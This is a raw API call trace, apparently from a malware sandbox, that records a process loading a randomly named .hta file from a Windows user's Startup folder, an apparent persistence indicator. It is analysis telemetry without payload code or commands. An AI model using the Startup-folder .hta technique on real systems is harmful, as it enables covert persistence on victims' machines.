[0102.045] GetKeyboardLayoutList (in: nBuff=32, lpList=0x1cf300 | out: lpList=0x1cf300) returned 1
[0102.045] GetSystemMetrics (nIndex=4096) returned 0
[0102.045] RegisterClipboardFormatA (lpszFormat="HTML Format") returned 0xc0cc
[0102.045] RegisterClipboardFormatA (lpszFormat="Rich Text Format") returned 0xc0b0
[0102.045] RegisterClipboardFormatA (lpszFormat="RTF As Text") returned 0xc0b3
[0102.045] RegisterClipboardFormatW (lpszFormat="FileGroupDescriptor") returned 0xc0c7
[0102.045] RegisterClipboardFormatW (lpszFormat="FileGroupDescriptorW") returned 0xc0c8
[0102.045] RegisterClipboardFormatW (lpszFormat="FileContents") returned 0xc0c6
[0102.045] RegisterClipboardFormatW (lpszFormat="Shell IDList Array") returned 0xc077
[0102.045] RegisterClipboardFormatW (lpszFormat="UniformResourceLocator") returned 0xc0d0
[0102.045] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x2c) returned 0x49c058
[0102.045] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x4c) returned 0x48f140
[0102.045] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x64) returned 0x4bedc8
[0102.045] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bedc8 | out: hHeap=0x450000) returned 1
[0102.045] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.045] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x4bb280
[0102.045] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x46d990 | out: hHeap=0x450000) returned 1
[0102.045] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x493948 | out: hHeap=0x450000) returned 1
[0102.045] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x50) returned 0x48f198
[0102.046] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x48f198 | out: hHeap=0x450000) returned 1
[0102.046] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.046] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x50) returned 0x48f198
[0102.046] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x48f198 | out: hHeap=0x450000) returned 1
[0102.046] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.046] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x50) returned 0x48f198
[0102.046] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x48f198 | out: hHeap=0x450000) returned 1
[0102.046] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.046] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x50) returned 0x48f198
[0102.046] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x48f198 | out: hHeap=0x450000) returned 1
[0102.046] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.046] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x4c) returned 0x48f198
[0102.046] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x100) returned 0x4bd280
[0102.048] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xc) returned 0x493948
[0102.049] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x64) returned 0x4bedc8
[0102.049] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xec) returned 0x4bb7c0
[0102.049] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x64) returned 0x4a4bd8
[0102.049] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xec) returned 0x4bd388
[0102.049] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.049] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.051] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.052] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bb268 | out: hHeap=0x450000) returned 1
[0102.052] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x489ae0, Size=0x1c) returned 0x489ae0
[0102.052] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.052] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x47ce58 | out: hHeap=0x450000) returned 1
[0102.052] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bb280 | out: hHeap=0x450000) returned 1
[0102.052] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x1cf678 | out: ppstm=0x1cf678*=0x4b1808) returned 0x0
[0102.053] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\twu5x5u5jjqyrmbjt4z9mff9knv5.hta"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x250
[0102.054] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x4bb280
[0102.054] SetFilePointer (in: hFile=0x250, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
[0102.054] ReadFile (in: hFile=0x250, lpBuffer=0x1ce630, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ce628, lpOverlapped=0x0 | out: lpBuffer=0x1ce630*, lpNumberOfBytesRead=0x1ce628*=0x1000, lpOverlapped=0x0) returned 1
[0102.054] ISequentialStream:RemoteWrite (in: This=0x4b1808, pv=0x1ce630*=0x3c, cb=0x1000, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0
[0102.054] CloseHandle (hObject=0x250) returned 1
[0102.054] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bb280 | out: hHeap=0x450000) returned 1
[0102.055] IStream:RemoteSeek (in: This=0x4b1808, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0
[0102.055] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x1cf638 | out: ppstm=0x1cf638*=0x4b1880) returned 0x0
[0102.055] IUnknown:AddRef (This=0x4b1880) returned 0x2
[0102.055] IUnknown:AddRef (This=0x4606e0) returned 0x3
[0102.055] IsAsyncMoniker (pmk=0x4606e0) returned 0x0
[0102.055] ISequentialStream:RemoteWrite (in: This=0x4b1880, pv=0x1cf5b8*=0x4, cb=0x4, pcbWritten=0x1cf518 | out: pcbWritten=0x1cf518*=0x4) returned 0x0
[0102.055] ISequentialStream:RemoteWrite (in: This=0x4b1880, pv=0x1cf50c*=0x23, cb=0x4, pcbWritten=0x1cf4f8 | out: pcbWritten=0x1cf4f8*=0x4) returned 0x0
[0102.055] ISequentialStream:RemoteWrite (in: This=0x4b1880, pv=0x1cf50c*=0x88, cb=0x4, pcbWritten=0x1cf4f8 | out: pcbWritten=0x1cf4f8*=0x4) returned 0x0
[0102.055] ISequentialStream:RemoteWrite (in: This=0x4b1880, pv=0x491444*=0x66, cb=0x110, pcbWritten=0x1cf508 | out: pcbWritten=0x1cf508*=0x110) returned 0x0
[0102.055] ISequentialStream:RemoteWrite (in: This=0x4b1880, pv=0x1cf5d8*=0xc, cb=0x4, pcbWritten=0x1cf518 | out: pcbWritten=0x1cf518*=0x4) returned 0x0
[0102.055] ISequentialStream:RemoteWrite (in: This=0x4b1880, pv=0x1cf50c*=0x23, cb=0x4, pcbWritten=0x1cf4f8 | out: pcbWritten=0x1cf4f8*=0x4) returned 0x0
[0102.055] ISequentialStream:RemoteWrite (in: This=0x4b1880, pv=0x1cf50c*=0x88, cb=0x4, pcbWritten=0x1cf4f8 | out: pcbWritten=0x1cf4f8*=0x4) returned 0x0
[0102.055] ISequentialStream:RemoteWrite (in: This=0x4b1880, pv=0x491d04*=0x66, cb=0x110, pcbWritten=0x1cf508 | out: pcbWritten=0x1cf508*=0x110) returned 0x0
[0102.055] ISequentialStream:RemoteWrite (in: This=0x4b1880, pv=0x1cf5d8*=0xd, cb=0x4, pcbWritten=0x1cf518 | out: pcbWritten=0x1cf518*=0x4) returned 0x0
[0102.055] ISequentialStream:RemoteWrite (in: This=0x4b1880, pv=0x1cf5a0*=0x60, cb=0x8, pcbWritten=0x1cf518 | out: pcbWritten=0x1cf518*=0x8) returned 0x0
[0102.056] ISequentialStream:RemoteWrite (in: This=0x4b1880, pv=0x1cf5d8*=0xe, cb=0x4, pcbWritten=0x1cf518 | out: pcbWritten=0x1cf518*=0x4) returned 0x0
[0102.056] ISequentialStream:RemoteWrite (in: This=0x4b1880, pv=0x1cf5ac*=0xe4, cb=0x4, pcbWritten=0x1cf518 | out: pcbWritten=0x1cf518*=0x4) returned 0x0
[0102.056] ISequentialStream:RemoteWrite (in: This=0x4b1880, pv=0x1cf5d8*=0xf, cb=0x4, pcbWritten=0x1cf518 | out: pcbWritten=0x1cf518*=0x4) returned 0x0
[0102.056] ISequentialStream:RemoteWrite (in: This=0x4b1880, pv=0x1cf5ac*=0xe4, cb=0x4, pcbWritten=0x1cf518 | out: pcbWritten=0x1cf518*=0x4) returned 0x0
[0102.056] ISequentialStream:RemoteWrite (in: This=0x4b1880, pv=0x1cf5a4*=0x14, cb=0x4, pcbWritten=0x1cf518 | out: pcbWritten=0x1cf518*=0x4) returned 0x0
[0102.056] ISequentialStream:RemoteWrite (in: This=0x4b1880, pv=0x1cf5b0*=0x0, cb=0x4, pcbWritten=0x1cf518 | out: pcbWritten=0x1cf518*=0x4) returned 0x0
[0102.056] ISequentialStream:RemoteWrite (in: This=0x4b1880, pv=0x1cf5b0*=0x15, cb=0x4, pcbWritten=0x1cf518 | out: pcbWritten=0x1cf518*=0x4) returned 0x0
[0102.056] ISequentialStream:RemoteWrite (in: This=0x4b1880, pv=0x1cf590*=0x0, cb=0x2, pcbWritten=0x1cf518 | out: pcbWritten=0x1cf518*=0x2) returned 0x0
[0102.056] ISequentialStream:RemoteWrite (in: This=0x4b1880, pv=0x1cf5b0*=0x17, cb=0x4, pcbWritten=0x1cf518 | out: pcbWritten=0x1cf518*=0x4) returned 0x0
[0102.056] ISequentialStream:RemoteWrite (in: This=0x4b1880, pv=0x1cf5b0*=0xff, cb=0x4, pcbWritten=0x1cf518 | out: pcbWritten=0x1cf518*=0x4) returned 0x0
[0102.056] ISequentialStream:RemoteWrite (in: This=0x4b1880, pv=0x1cf5b0*=0x0, cb=0x4, pcbWritten=0x1cf518 | out: pcbWritten=0x1cf518*=0x4) returned 0x0
[0102.056] IUnknown:Release (This=0x4b1880) returned 0x1
[0102.056] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.056] IUnknown:Release (This=0x4606e0) returned 0x2
[0102.056] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.056] IStream:RemoteSeek (in: This=0x4b1880, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0
[0102.056] GetFocus () returned 0x1013a
[0102.056] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf540 | out: lpPoint=0x1cf540) returned 1
[0102.056] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf530 | out: lpRect=0x1cf530) returned 1
[0102.056] PostMessageW (hWnd=0x1013a, Msg=0x20, wParam=0x13a, lParam=0x1) returned 1
[0102.056] GetCurrentProcessId () returned 0x4dc
[0102.057] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bc710 | out: hHeap=0x450000) returned 1
[0102.057] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bb8c0 | out: hHeap=0x450000) returned 1
[0102.057] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4a4cc8 | out: hHeap=0x450000) returned 1
[0102.057] IUnknown:Release (This=0x47c444) returned 0xe
[0102.057] IUnknown:Release (This=0x485e48) returned 0x3
[0102.057] IUnknown:Release (This=0x47c444) returned 0xd
[0102.057] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.057] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.057] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4ba180 | out: hHeap=0x450000) returned 1
[0102.057] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bec18 | out: hHeap=0x450000) returned 1
[0102.057] IUnknown:Release (This=0x47c444) returned 0xc
[0102.057] IUnknown:Release (This=0x485e48) returned 0x2
[0102.057] IUnknown:Release (This=0x47c444) returned 0xb
[0102.057] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.058] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.058] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x496dc0 | out: hHeap=0x450000) returned 1
[0102.058] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x495428 | out: hHeap=0x450000) returned 1
[0102.058] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.058] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.058] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.058] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x28) returned 0x492dd8
[0102.058] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x18) returned 0x496170
[0102.058] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xd0) returned 0x47ce58
[0102.058] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x4c) returned 0x48f1f0
[0102.058] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x4bb280
[0102.058] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x2000) returned 0x4b1d20
[0102.059] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x50) returned 0x48f248
[0102.059] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x48f248 | out: hHeap=0x450000) returned 1
[0102.059] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.059] CreateUri (in: pwzURI="about:blank", dwFlags=0x2b80, dwReserved=0x0, ppURI=0x1cf370 | out: ppURI=0x1cf370*=0x47c0e4) returned 0x0
[0102.059] IInternetSecurityManager:MapUrlToZone (in: This=0x736696bc, pwszUrl="about:blank", pdwZone=0x1cf374, dwFlags=0x0 | out: pdwZone=0x1cf374*=0xffffffff) returned 0x800c0011
[0102.059] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0102.059] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0102.059] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1
[0102.059] IInternetSecurityManager:ProcessUrlAction (in: This=0x736696bc, pwszUrl="about:blank", dwAction=0x2106, pPolicy=0x1cf378, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x41, dwReserved=0x0 | out: pPolicy=0x1cf378*=0x0) returned 0x0
[0102.059] IUnknown:Release (This=0x47c0e4) returned 0x2
[0102.059] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x2c) returned 0x46d990
[0102.060] IStream:Clone (in: This=0x4b1880, ppstm=0x1cf5a8 | out: ppstm=0x1cf5a8*=0x4b18f8) returned 0x0
[0102.062] IUnknown:AddRef (This=0x4b1880) returned 0x2
[0102.062] ISequentialStream:RemoteRead (in: This=0x4b1880, pv=0x1cf46c, cb=0x4, pcbRead=0x1cf448 | out: pv=0x1cf46c*=0x4, pcbRead=0x1cf448*=0x4) returned 0x0
[0102.062] ISequentialStream:RemoteRead (in: This=0x4b1880, pv=0x1cf438, cb=0x4, pcbRead=0x1cf428 | out: pv=0x1cf438*=0x23, pcbRead=0x1cf428*=0x4) returned 0x0
[0102.062] ISequentialStream:RemoteRead (in: This=0x4b1880, pv=0x1cf43c, cb=0x4, pcbRead=0x1cf428 | out: pv=0x1cf43c*=0x88, pcbRead=0x1cf428*=0x4) returned 0x0
[0102.062] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x112) returned 0x495428
[0102.062] ISequentialStream:RemoteRead (in: This=0x4b1880, pv=0x495428, cb=0x110, pcbRead=0x1cf428 | out: pv=0x495428*=0x66, pcbRead=0x1cf428*=0x110) returned 0x0
[0102.062] ISequentialStream:RemoteRead (in: This=0x4b1880, pv=0x1cf46c, cb=0x4, pcbRead=0x1cf448 | out: pv=0x1cf46c*=0xc, pcbRead=0x1cf448*=0x4) returned 0x0
[0102.062] ISequentialStream:RemoteRead (in: This=0x4b1880, pv=0x1cf438, cb=0x4, pcbRead=0x1cf428 | out: pv=0x1cf438*=0x23, pcbRead=0x1cf428*=0x4) returned 0x0
[0102.062] ISequentialStream:RemoteRead (in: This=0x4b1880, pv=0x1cf43c, cb=0x4, pcbRead=0x1cf428 | out: pv=0x1cf43c*=0x88, pcbRead=0x1cf428*=0x4) returned 0x0
[0102.062] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x112) returned 0x4bec18
[0102.062] ISequentialStream:RemoteRead (in: This=0x4b1880, pv=0x4bec18, cb=0x110, pcbRead=0x1cf428 | out: pv=0x4bec18*=0x66, pcbRead=0x1cf428*=0x110) returned 0x0
[0102.062] ISequentialStream:RemoteRead (in: This=0x4b1880, pv=0x1cf46c, cb=0x4, pcbRead=0x1cf448 | out: pv=0x1cf46c*=0xd, pcbRead=0x1cf448*=0x4) returned 0x0
[0102.062] ISequentialStream:RemoteRead (in: This=0x4b1880, pv=0x1cf580, cb=0x8, pcbRead=0x1cf448 | out: pv=0x1cf580*=0x60, pcbRead=0x1cf448*=0x8) returned 0x0
[0102.062] ISequentialStream:RemoteRead (in: This=0x4b1880, pv=0x1cf46c, cb=0x4, pcbRead=0x1cf448 | out: pv=0x1cf46c*=0xe, pcbRead=0x1cf448*=0x4) returned 0x0
[0102.062] ISequentialStream:RemoteRead (in: This=0x4b1880, pv=0x1cf480, cb=0x4, pcbRead=0x1cf448 | out: pv=0x1cf480*=0xe4, pcbRead=0x1cf448*=0x4) returned 0x0
[0102.062] ISequentialStream:RemoteRead (in: This=0x4b1880, pv=0x1cf46c, cb=0x4, pcbRead=0x1cf448 | out: pv=0x1cf46c*=0xf, pcbRead=0x1cf448*=0x4) returned 0x0
[0102.062] ISequentialStream:RemoteRead (in: This=0x4b1880, pv=0x1cf480, cb=0x4, pcbRead=0x1cf448 | out: pv=0x1cf480*=0xe4, pcbRead=0x1cf448*=0x4) returned 0x0
[0102.062] ISequentialStream:RemoteRead (in: This=0x4b1880, pv=0x1cf46c, cb=0x4, pcbRead=0x1cf448 | out: pv=0x1cf46c*=0x14, pcbRead=0x1cf448*=0x4) returned 0x0
[0102.062] ISequentialStream:RemoteRead (in: This=0x4b1880, pv=0x1cf4b0, cb=0x4, pcbRead=0x1cf448 | out: pv=0x1cf4b0*=0x0, pcbRead=0x1cf448*=0x4) returned 0x0
[0102.062] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x14) returned 0x496190
[0102.062] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x40) returned 0x4a3ec0
[0102.062] ISequentialStream:RemoteRead (in: This=0x4b1880, pv=0x1cf46c, cb=0x4, pcbRead=0x1cf448 | out: pv=0x1cf46c*=0x15, pcbRead=0x1cf448*=0x4) returned 0x0
[0102.062] ISequentialStream:RemoteRead (in: This=0x4b1880, pv=0x1cf5bc, cb=0x2, pcbRead=0x1cf448 | out: pv=0x1cf5bc*=0x0, pcbRead=0x1cf448*=0x2) returned 0x0
[0102.062] ISequentialStream:RemoteRead (in: This=0x4b1880, pv=0x1cf46c, cb=0x4, pcbRead=0x1cf448 | out: pv=0x1cf46c*=0x17, pcbRead=0x1cf448*=0x4) returned 0x0
[0102.062] ISequentialStream:RemoteRead (in: This=0x4b1880, pv=0x1cf4b0, cb=0x4, pcbRead=0x1cf448 | out: pv=0x1cf4b0*=0xff, pcbRead=0x1cf448*=0x4) returned 0x0
[0102.062] ISequentialStream:RemoteRead (in: This=0x4b1880, pv=0x1cf46c, cb=0x4, pcbRead=0x1cf448 | out: pv=0x1cf46c*=0x0, pcbRead=0x1cf448*=0x4) returned 0x0
[0102.062] IUnknown:Release (This=0x4b1880) returned 0x1
[0102.062] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.063] CreateURLMonikerEx (in: pMkCtx=0x0, szURL="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta", ppmk=0x1cf548*=0x0, dwFlags=0x1 | out: ppmk=0x1cf548*=0x48ffa0) returned 0x0
[0102.063] GetFocus () returned 0x1013a
[0102.063] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf290 | out: lpPoint=0x1cf290) returned 1
[0102.063] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf280 | out: lpRect=0x1cf280) returned 1
[0102.063] PostMessageW (hWnd=0x1013a, Msg=0x20, wParam=0x13a, lParam=0x1) returned 1
[0102.063] IUnknown:AddRef (This=0x48ffa0) returned 0x2
[0102.063] IUnknown:QueryInterface (in: This=0x48ffa0, riid=0x732672f4*(Data1=0xa158a630, Data2=0xed6f, Data3=0x45fb, Data4=([0]=0xb9, [1]=0x87, [2]=0xf6, [3]=0x86, [4]=0x76, [5]=0xf5, [6]=0x77, [7]=0x52)), ppvObject=0x1cf2c0 | out: ppvObject=0x1cf2c0*=0x48ffac) returned 0x0
[0102.063] IUriContainer:GetIUri (in: This=0x48ffac, ppIUri=0x1cf314 | out: ppIUri=0x1cf314*=0x47c7a4) returned 0x0
[0102.063] IUnknown:Release (This=0x48ffac) returned 0x2
[0102.063] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x1c) returned 0x4b1920
[0102.063] IUnknown:AddRef (This=0x48ffa0) returned 0x3
[0102.063] IUnknown:AddRef (This=0x47c7a4) returned 0x7
[0102.063] IUnknown:QueryInterface (in: This=0x47c7a4, riid=0x732ed6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x1cf2ec | out: ppvObject=0x1cf2ec*=0x47c7a4) returned 0x0
[0102.063] IUnknown:Release (This=0x47c7a4) returned 0x7
[0102.063] IUnknown:AddRef (This=0x47c7a4) returned 0x8
[0102.063] IUri:GetScheme (in: This=0x47c7a4, pdwScheme=0x1cf2e4 | out: pdwScheme=0x1cf2e4*=0x9) returned 0x0
[0102.063] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xc8) returned 0x4a4c48
[0102.063] GetCurrentProcessId () returned 0x4dc
[0102.063] IUnknown:QueryInterface (in: This=0x47c7a4, riid=0x732ed6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x1cf2ec | out: ppvObject=0x1cf2ec*=0x47c7a4) returned 0x0
[0102.063] IUnknown:Release (This=0x47c7a4) returned 0x8
[0102.063] IUnknown:AddRef (This=0x47c7a4) returned 0x9
[0102.064] IUri:GetScheme (in: This=0x47c7a4, pdwScheme=0x1cf2bc | out: pdwScheme=0x1cf2bc*=0x9) returned 0x0
[0102.064] IUnknown:QueryInterface (in: This=0x47c7a4, riid=0x732ed6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x1cf270 | out: ppvObject=0x1cf270*=0x47c7a4) returned 0x0
[0102.064] IUnknown:Release (This=0x47c7a4) returned 0x9
[0102.064] IUnknown:AddRef (This=0x47c7a4) returned 0xa
[0102.064] IUnknown:Release (This=0x47c7a4) returned 0x9
[0102.064] IUri:GetAbsoluteUri (in: This=0x47c7a4, pbstrAbsoluteUri=0x1cf2ec | out: pbstrAbsoluteUri=0x1cf2ec*="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta") returned 0x0
[0102.064] SysStringLen (param_1="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta") returned 0x88
[0102.064] CreateUri (in: pwzURI="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta", dwFlags=0x2b80, dwReserved=0x0, ppURI=0x1cf308 | out: ppURI=0x1cf308*=0x47c954) returned 0x0
[0102.064] IUnknown:Release (This=0x47c7a4) returned 0x8
[0102.064] IUri:GetScheme (in: This=0x47c954, pdwScheme=0x1cf29c | out: pdwScheme=0x1cf29c*=0x9) returned 0x0
[0102.064] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.064] IUnknown:AddRef (This=0x47c954) returned 0x3
[0102.064] IUri:GetAbsoluteUri (in: This=0x47c954, pbstrAbsoluteUri=0x4b1920 | out: pbstrAbsoluteUri=0x4b1920*="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta") returned 0x0
[0102.064] ParseURLW (in: pcszURL="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta", ppu=0x1cf298 | out: ppu=0x1cf298) returned 0x0
[0102.064] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x14) returned 0x4961b0
[0102.066] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x14) returned 0x4961d0
[0102.067] GetCurrentThreadId () returned 0x4e0
[0102.067] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x48bdb0
[0102.067] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x4a3ec0, Size=0x60) returned 0x49ebe0
[0102.067] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf0e8 | out: lpPoint=0x1cf0e8) returned 1
[0102.067] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x30) returned 0x49c090
[0102.067] GetCurrentThreadId () returned 0x4e0
[0102.067] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x49c090 | out: hHeap=0x450000) returned 1
[0102.067] GetCurrentThreadId () returned 0x4e0
[0102.067] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x116) returned 0x4be710
[0102.067] ParseURLW (in: pcszURL="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta", ppu=0x1cf288 | out: ppu=0x1cf288) returned 0x0
[0102.067] CreateUri (in: pwzURI="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta", dwFlags=0x2b84, dwReserved=0x0, ppURI=0x1cf26c | out: ppURI=0x1cf26c*=0x47c7a4) returned 0x0
[0102.068] IUnknown:AddRef (This=0x47c7a4) returned 0xa
